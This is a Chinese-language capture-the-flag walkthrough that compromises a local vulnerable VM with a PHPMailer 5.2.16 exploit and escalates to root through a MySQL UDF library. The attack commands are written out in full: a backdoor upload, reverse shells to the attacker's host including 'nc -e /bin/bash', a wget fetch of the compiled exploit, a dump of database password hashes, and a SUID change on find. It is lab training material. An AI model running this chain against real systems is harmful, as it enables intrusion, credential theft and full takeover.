---

一、IP获取

Kali IP:192.168.78.128

靶机IP：192.168.78.178

二、信息收集

端口和服务探测：

nmap  -sV -p-  192.168.78.178

开放了四个端口22 80 111 44469

目录与文件探测：

dirsearch -u http://192.168.78.178

探测到了一些文件与目录，尝试访问一下

http://192.168.78.178/vendor/

三、Flag1

在/vendor目录下找到了一个flag

http://192.168.78.178/vendor/PATH

发现一个登录页面

http://192.168.78.178/wordpress/wp-login.php

读/vendor/目录下的readme文件可以看到有效信息：PHPMailer，继续查看version文件可以看到版本5.2.16

总结得到 PHPMailer 5.2.16， 我们直接去搜索对应的exp

四、漏洞利用

searchsploit 40974

locate php/webapps/40974.py 

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root
需要针对PHPMailer修改参数:
41行：改下地址：http://192.168.78.178/contact.php
42行：后门名称：/hp.php
44行：改下回弹的IP和端口  192.168.78.128  6666
47行：改下写入shell的目录：/var/www/html/hp.php

执行exp

python3 40974.py

访问http://192.168.78.178/contact.php，此时就会生成后门文件hp.php
本地开启监听：nc -vlnp 6666
访问：http://192.168.78.178/hp.php
获得反弹shell！
python -c 'import pty;pty.spawn("/bin/bash")'

找寻flag

find / -name flag* 2>/dev/null

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

五、Flag2

发现两个flag！读取：

cat /var/www/flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}

六、Flag3

访问：

http://192.168.78.178/wordpress/wp-content/uploads/2018/11/flag3.png

获得flag3！

在flag3目录下看到了wordpress目录，进入目录可查看配置文件wp-config.php

获取到了数据库信息
User:root
Password:R@v3nSecurity
ps aux | grep root --查看数据库进程信息
dpkg -l | grep mysql --查看历史安装包版本

历史版本5.5.6，并且是root权限启动的，此时可以考虑是否能用mysql udf提权方法

连接数据库
mysql -uroot -pR@v3nSecurity
select version();  ---查看版本
show databases;
use wordpress   --进入wordpress数据库
show tables;
select * from wp_users;  --查看用户信息
看到两个用户和加密的密码
michael：$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven：$P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看是否有写入权限

show global variables like 'secure%';

七、MSF UDF提权

注：mysql udf提权说明
MSF UDF提权的前提条件：
1、获取mysql控制权限：知道mysql用户名和密码，并且可以远程登录
2、Mysql具有写入权限：secure_file_prive的值为空

1）当 secure_file_priv 的值为 NULL ，表示限制 mysqld 不允许导入|导出，此时无法提权
2）当 secure_file_priv 的值为 /tmp/ ，表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下，此时也无法提权
3）当 secure_file_priv 的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可提权!
如果是 MySQL >= 5.1 的版本，必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
查看插件目录：
show variables like '%plugin%';

我们找到了插件文件夹的位置是/usr/lib/mysql/plugin/

另外一个条件是要能远程登陆，我们用这个命令来看一下是否可以

use mysql; 
select user,host from user;

发现这里root用户不允许远程登陆，因此不能利用MSF提权。

八、CVE漏洞本地提权

searchsploit udf

locate linux/local/1518.c 
cp /usr/share/exploitdb/exploits/linux/local/1518.c /root
编译
gcc -g -c 1518.c   ---GCC编译.o文件
gcc -g -shared -o hp.so 1518.o -lc
-g 生成调试信息
-c 编译（二进制）
-shared：创建一个动态链接库，输入文件可以是源文件、汇编文件或者目标文件。
-o：执行命令后的文件名
-lc：-l 库 c库名
本机开启htt服务，靶机下载编译后的文件
python3 -m http.server 8000
wget http://192.168.78.128:8000/hp.so

进入mysql数据库创建数据表并插入数据

mysql -uroot -pR@v3nSecurity
show databases;
use mysql
select database();
进入数据库创建数据表dayu：create table hp(line blob);
插入数据文件：insert into hp values(load_file('/tmp/hp.so'));

hp表成功插入二进制数据，然后利用dumpfile函数把文件导出

outfile 多行导出，dumpfile一行导出,outfile会有特殊的转换，而dumpfile是原数据导出！

新建存储函数：

select * from hp into dumpfile '/usr/lib/mysql/plugin/hp.so';

创建自定义函数do_system，类型是integer，别名（soname）文件名字，然后查询函数是否创建成功：

create function do_system returns integer soname 'hp.so';

查看以下创建的函数：

select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限，使其可以执行root命令：

select do_system('chmod u+s /usr/bin/find');

即创造提权条件，suid位提权,执行find命令，使用find执行 shell
 

find dayu -exec "id" \;
cd /root
cat flag4.txt
flag4{df2bc5e951d91581467bb9a2a8ff4425}

或者也可以直接利用函数反弹shell

select do_system('nc -nv 192.168.78.128 6667 -e /bin/bash');

完成！

---